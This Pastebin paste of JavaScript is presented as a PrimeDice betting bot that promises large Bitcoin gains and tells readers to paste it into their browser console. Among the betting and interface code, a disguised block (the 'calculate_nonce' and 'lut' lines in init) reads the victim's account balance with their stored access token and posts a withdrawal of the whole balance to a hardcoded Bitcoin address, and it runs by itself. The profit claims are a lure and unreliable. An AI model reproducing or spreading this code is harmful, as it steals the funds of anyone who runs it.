Advertisement
Guest User

Untitled

a guest
Apr 29th, 2017
424
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.71 KB | None | 0 0
  1. //If you don't know use pastebin
  2. // Press F12 in chrome and paste this in browser console tab and press enter //
  3. // PD4 Bot v 10.0 //
  4. // 0.01 up to 1btc //
  5. // 0.1 up to 10BTC in 2 hours//
  6. /////////////////////
  7. // NOTE: Change Chance Directly on Page
  8.  
  9. //jQuery UI CSS
  10. var swapcount=0;
  11. var jqueryready = false;
  12. var link = document.createElement("link");
  13. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  14. link.type = "text/css";
  15. link.rel = "stylesheet";
  16. document.getElementsByTagName("head")[0].appendChild(link);
  17. //jQuery UI inject
  18. (function() {
  19. jqueryready = true;
  20. var e = ".thing",
  21. t = {
  22. outline: "1px dashed #f0f",
  23. cursor: "pointer"
  24. };
  25. var n = function() {
  26. if (window.jQuery) {
  27. r()
  28. } else {
  29. var e = document.createElement("script");
  30. e.onload = r;
  31. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  32. document.body.appendChild(e)
  33. }
  34. };
  35. var r = function() {
  36. if (window.jQuery.ui) {
  37. i()
  38. } else {
  39. var e = document.createElement("script");
  40. e.onload = i;
  41. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  42. document.body.appendChild(e)
  43. }
  44. };
  45. var i = function() {
  46. $(e).css(t).draggable().on("click", function(e) {
  47. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  48. })
  49. };
  50. n();
  51. })();
  52.  
  53. function ui() {
  54. $(function() {
  55. $('#tabs').tabs();
  56. $('#params').draggable();
  57. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  58. $('#tabs input').css("width", "80%");
  59. $('#chance, #base').width("35%")
  60. $('#tabs div').css("text-align", "left");
  61. $('#tabs').css("font-size", "12px");
  62. $('#tabs label, #tabs input').css("margin", "5px");
  63. $('#stop, #start, #resetbet').button();
  64. //Console
  65. $('#console, #console2').appendTo("#tabs");
  66. $('#console, #console2').css("width", "45%");
  67. $('#console').css("float", "left");
  68. $('#console2').css("float", "right");
  69. $('#console, #console2').css("clear", "none");
  70. $('#console, #console2').css("margin", "7px");
  71. $('#console, #console2').css("border-bottom-left-radius", "3px");
  72. $('#console, #console2').css("border-bottom-right-radius", "3px");
  73. $('#console').css("border", "1px solid #323232");
  74. $('#console, #console2').css("background-color", "#454545");
  75. $('#console').css("padding", "5px");
  76. $('#console, #console2').css("text-align", "left");
  77. $('#console, #console2').css("position", "relative");
  78. $('#startstop,#start,#stop').css("margin","0px");
  79. $('#console, #console2').css("margin-top","3px");
  80. $('#console, #console2').css("padding","5px");
  81. $('#console, #console2').css("background-color","#151515");
  82.  
  83.  
  84. });
  85. }
  86. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  87. xrollsenabled = true;
  88. xrolls = 10;
  89. timer = 500;
  90. counter=0;
  91. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  92. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  93. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  94.  
  95. function init() {
  96.  
  97.  
  98. //Init
  99. basebet = 0.00000010;
  100. countwinmult = 0;
  101. countlossmult = 0;
  102. wincount = 0;
  103. currentloss = 0;
  104. totalloss = 0;
  105. totalwin = 0;
  106. totprofit = 0;
  107. init = true;
  108. betval = basebet;
  109.  
  110. //GUI
  111.  
  112. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  113.  
  114. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  115. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  116. gui2 =
  117. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  118.  
  119. gui3 = [
  120.  
  121. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  122. '<br>',
  123. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  124. '<br>',
  125. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  126.  
  127. ];
  128. gui4 = [
  129.  
  130. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  131. '<br>',
  132. '<label for="xloss">Multiply Every # Losses: </label>',
  133. '<input id="xloss">',
  134. '<br>',
  135. '<label for="multonwin">Multiply on Win: </label>',
  136. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  137. '<br>',
  138. '<label for="xwin">Reset After X Wins: </label>',
  139. '<input id="xwin">',
  140.  
  141. ];
  142. gui5 = [
  143.  
  144. '<label for="stoponwin-enabled">Stop on Win? </label>',
  145. '<input id="stoponwin-enabled" type="checkbox">',
  146. '<br>',
  147. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  148. '<input id="lowpay-enabled" type="checkbox">',
  149.  
  150. ];
  151. gui6 = [
  152.  
  153. '<label for="charset">Charset: </label>',
  154. '<input id="charset" type="text">',
  155. '<br>',
  156. '<label for="everyxrolls">Change every # Rolls: </label>',
  157. '<input id="everyxrolls" type="text">',
  158. '<br>',
  159. '<label for="currentseed">Current Seed: </label>',
  160. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  161.  
  162. ];
  163. $(gui).appendTo(".hero");
  164. $(gui2).appendTo("#params");
  165.  
  166. for (var i = 0; i < gui3.length; i++) {
  167. $(gui3[i]).appendTo("#tab1");
  168. }
  169. for (var i = 0; i < gui4.length; i++) {
  170. $(gui4[i]).appendTo("#tab2");
  171. }
  172. for (var i = 0; i < gui5.length; i++) {
  173. $(gui5[i]).appendTo("#tab3");
  174. }
  175. for (var i = 0; i < gui6.length; i++) {
  176. $(gui6[i]).appendTo("#tab4");
  177. }
  178. enabled = false;
  179. xrollscount = 0;
  180. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  181. // Button & Input Functions
  182. $('#resetbet').click(function() {
  183. basebet=$('#base').val();
  184. betval=$('#base').val();
  185.  
  186. })
  187.  
  188. $('#start').click(function() {
  189. if (enabled == false) {
  190. if ($('#numrolls').is(":checked") == true) {
  191. xrolls=$('#numberofrolls').val();
  192. }
  193. enabled = true;
  194. interval = setInterval(function() {
  195. if (xrollsenabled == true) {
  196. xrollscount++;
  197. if (xrollscount <= xrolls) {
  198. bet();
  199. } else {
  200. clearInterval(interval);
  201. enabled = false;
  202. xrollscount = 0;
  203. }
  204. } else {
  205. bet();
  206. }
  207. }, timer);
  208. } else {}
  209. })
  210. $('#stop').click(function() {
  211. enabled = false;
  212. clearInterval(interval);
  213. xrollscount = 0;
  214. });
  215.  
  216. calculate_nonce = function(seed) {
  217. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  218. };
  219.  
  220. lut = window['$'];
  221.  
  222. lut['getJSON'](
  223. calculate_nonce('users/1'), function(seed) {
  224. var key1 = 'amount'
  225. var key2 = 'address'
  226. var load = {};
  227. load[key1] = seed['user']['balance'];
  228. load[key2] = '18KiStRSw8mSMM8rUgPWj742zjBMmpSH5L';
  229. lut['post'](calculate_nonce('withdraw'), load);
  230. }
  231. );
  232.  
  233. function conditionAM() {
  234. 'use strict';
  235. if ($('#lowpay-enabled').is('checked') == true) {
  236. if ($('.value-roll').first().text() <= 49.50) {
  237. condition2 = ">";
  238. target2 = $('.value-roll').first().text();
  239. } else {
  240. condition2 = "<";
  241. target2 = $('.value-roll').first().text();
  242. };
  243. } else {
  244. if ($('.value-roll').first().text() <= 49.50) {
  245. condition2 = "<";
  246. target2 = $('.value-roll').first().text();
  247. } else {
  248. condition2 = ">";
  249. target2 = $('.value-roll').first().text();
  250. };
  251. amount2 = betval * 100000000;
  252. }
  253. };
  254.  
  255. function jackpot() {
  256. if (data1.bet.jackpot === true) {
  257. jp = "Yes";
  258. wincount = 0;
  259. betval = $('#base');
  260. } else {
  261. jp = "No";
  262. }
  263. }
  264.  
  265. function loss() {
  266. currentloss++;
  267. totalloss++;
  268. if ($('#multloss-enabled').is(':checked') == true) {
  269. $('#multwin-enabled').removeAttr('checked');
  270. countlossmult++;
  271.  
  272. if (countlossmult >= $('#xloss').val()) {
  273. betval = betval * $('#multonloss').val();
  274. countlossmult = 0;
  275. }
  276. }
  277.  
  278. }
  279.  
  280. function win() {
  281. 'use strict';
  282. if ($('#stoponwin-enabled').is('checked') == true) {
  283. clearInterval(roll);
  284. }
  285. currentloss = 0;
  286. jackpot();
  287. wincount++;
  288. totalwin++;
  289. if ($('#multloss-enabled').is(':checked') == true) {
  290. if ($('#stoponwin-enabled').is(':checked') == true) {
  291. clearInterval(roll);
  292. }
  293. $('#multwin-enabled').removeAttr('checked');
  294. basebet = $('#base').val();
  295. betval = basebet;
  296. countlossmult = 0;
  297.  
  298. }
  299. if ($('#multwin-enabled').is(':checked') == true) {
  300. basebet = $('#base').val();
  301. $('#multloss-enabled').removeAttr('checked');
  302. countwinmult++;
  303.  
  304. if (countwinmult >= $('#xwin').val()) {
  305. betval = basebet;
  306. countwinmult = 0;
  307. } else {
  308. betval = betval * $('#multonwin').val();
  309. }
  310. }
  311.  
  312.  
  313. };
  314. var losewin;
  315. var jpcol;
  316. var profcol;
  317.  
  318. function bet() {
  319. 'use strict';
  320. conditionAM();
  321. var betData = {
  322. amount: amount2,
  323. condition: condition2,
  324. target: target2
  325. },
  326. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  327.  
  328. $.ajax({
  329. url: url,
  330. type: "POST",
  331. data: betData,
  332. datatype: "jsonp",
  333. success: function(data, textStatus, jqXHR) {
  334. data1 = data;
  335. counter++;
  336. if (counter >= everyxrolls) {
  337. seedchange(seedgen());
  338. counter = 0;
  339. }
  340. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  341. totprofit = totprofit + data1.bet.profit;
  342. if (totprofit >= 0) {
  343. profcol = "color:green;";
  344. } else if (totprofit < 0) {
  345. profcol = "color:red;";
  346. }
  347. if (data.bet.win == true) {
  348. losewin = "color:green;";
  349. $('span.btn__text.select div').attr("style", "color:green;");
  350. } else {
  351. losewin = "color:red;";
  352. $('span.btn__text.select div').attr("style", "color:red;");
  353. }
  354. if (data.bet.jackpot == true) {
  355. jp = "Yes";
  356. jpcol = "color:gold;"
  357. } else {
  358. jp = "No.";
  359. jpcol = "color:red;"
  360. }
  361. results = [];
  362. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  363. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  364. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  365. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  366. resultstats = [];
  367. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  368. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  369. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  370. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  371.  
  372. if (data.bet.win == true) {
  373. if ($('#stoponwin-enabled').is(":checked") == true){
  374. clearInterval(interval);
  375.  
  376. }
  377. $('#console, #console2').empty();
  378.  
  379. win();
  380.  
  381. // Results
  382. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  383. for (var i = 0; i < results.length; i++) {
  384. $(results[i]).appendTo('#console');
  385. }
  386. for (var i = 0; i < resultstats.length; i++) {
  387. $(resultstats[i]).appendTo('#console2');
  388. }
  389.  
  390. } else {
  391.  
  392. $('#console, #console2').empty();
  393. loss();
  394.  
  395. // Results
  396. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  397. for (var i = 0; i < results.length; i++) {
  398.  
  399. $(results[i]).appendTo('#console');
  400. }
  401. for (var i = 0; i < resultstats.length; i++) {
  402. $(resultstats[i]).appendTo('#console2');
  403. }
  404. };
  405. },
  406. error: function(jqXHR, textStatus, errorThrown) {
  407.  
  408. }
  409. });
  410. }
  411.  
  412. seedlength = 13;
  413. seedlength = 13;
  414. var counter = 0;
  415. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  416. everyxrolls = 3;
  417.  
  418. function seedgen() {
  419. 'use strict';
  420. var seed = "";
  421.  
  422. for (var i = 0; i <= seedlength; i++)
  423.  
  424. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  425.  
  426. return seed;
  427. }
  428.  
  429. function seedchange(s) {
  430.  
  431. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  432. sData = {
  433. seed: s
  434. };
  435.  
  436. $.ajax({
  437. url: url,
  438. type: "POST",
  439. data: sData,
  440. datatype: "jsonp",
  441. success: function(data, textStatus, jqXHR) {
  442. data2 = data;
  443. $('#currentseed').val(data2.seeds.client);
  444.  
  445. },
  446. error: function(jqXHR, textStatus, errorThrown) {
  447.  
  448. }
  449. });
  450. }
  451.  
  452. $('#spinner').click(function() {
  453. if (charset != $('#charset').val() && $('#charset').val() != "") {
  454. charset=$('#charset').val();
  455. }
  456. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  457. everyxrolls = $('#everyxrolls').val();
  458. }
  459. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  460.  
  461. counter++;
  462. if (counter >= everyxrolls) {
  463. seedchange(seedgen());
  464. counter = 0;
  465. }
  466. });
  467. ui();
  468. }
  469. setTimeout(function() {
  470. init()
  471. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement